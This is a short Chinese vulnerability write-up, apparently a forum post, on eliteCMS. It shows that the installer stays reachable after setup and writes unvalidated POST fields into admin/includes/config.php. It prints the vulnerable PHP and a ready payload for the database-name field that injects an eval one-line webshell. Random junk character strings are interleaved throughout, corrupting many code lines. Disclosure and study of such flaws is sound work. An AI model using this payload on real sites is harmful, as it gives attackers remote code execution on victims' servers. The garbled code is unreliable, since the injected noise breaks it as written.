eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
8 {, q4 B1 ^2 O" J7 _
) y! ^5 ?3 z: F+ J9 d. p- E* [5 Z另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
7 o, m& R" A# T) Z+ Q2 D我们来看代码：

# F6 b5 o$ S  {. S& r...
- Y" m# o( D$ T8 C3 Qelseif ($_GET['step'] == "4") {
; K7 a* _, n$ W: n" s    $file = "../admin/includes/config.php";
% }9 \$ i6 p: k! A' \. {    $write = "<?php\n";
    $write .= "/**\n";
    $write .= "*\n";
( Q$ T5 L+ a' ]5 z2 _    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
) S) ]" k# u/ u* z0 I0 I...略...
    $write .= "*\n";
    $write .= "*/\n";
4 {# v: T2 h  s' n1 `! _    $write .= "\n";
/ H, ~1 a% A5 G0 e; Y    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
, R0 U! O- y$ i  R: k/ _& k    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
; ^; f6 z$ W' a4 }3 E; @$ i    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
( H( p+ b: z+ |9 D    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
  A' I& ^2 ~* `. z" y6 u    $write .= "} \n";
    $write .= "?>\n";

    $writer = fopen($file, 'w');
# Q* d9 K. i( i0 c$ H4 f...
0 v: z3 {2 S( {7 X7 P% s% U. T
在看代码：

* f, w( I! _( P( A* j$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
1 m2 G- t# V% H8 C, `$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

; k" @0 B. E5 ]. I3 `取值未作任何验证
如果将数据库名POST数据：

1 I! `& s! l9 _  v"?><?php eval($_POST[c]);?><?php
" J" E2 D+ D! I
将导致一句话后门写入/admin/includes/config.php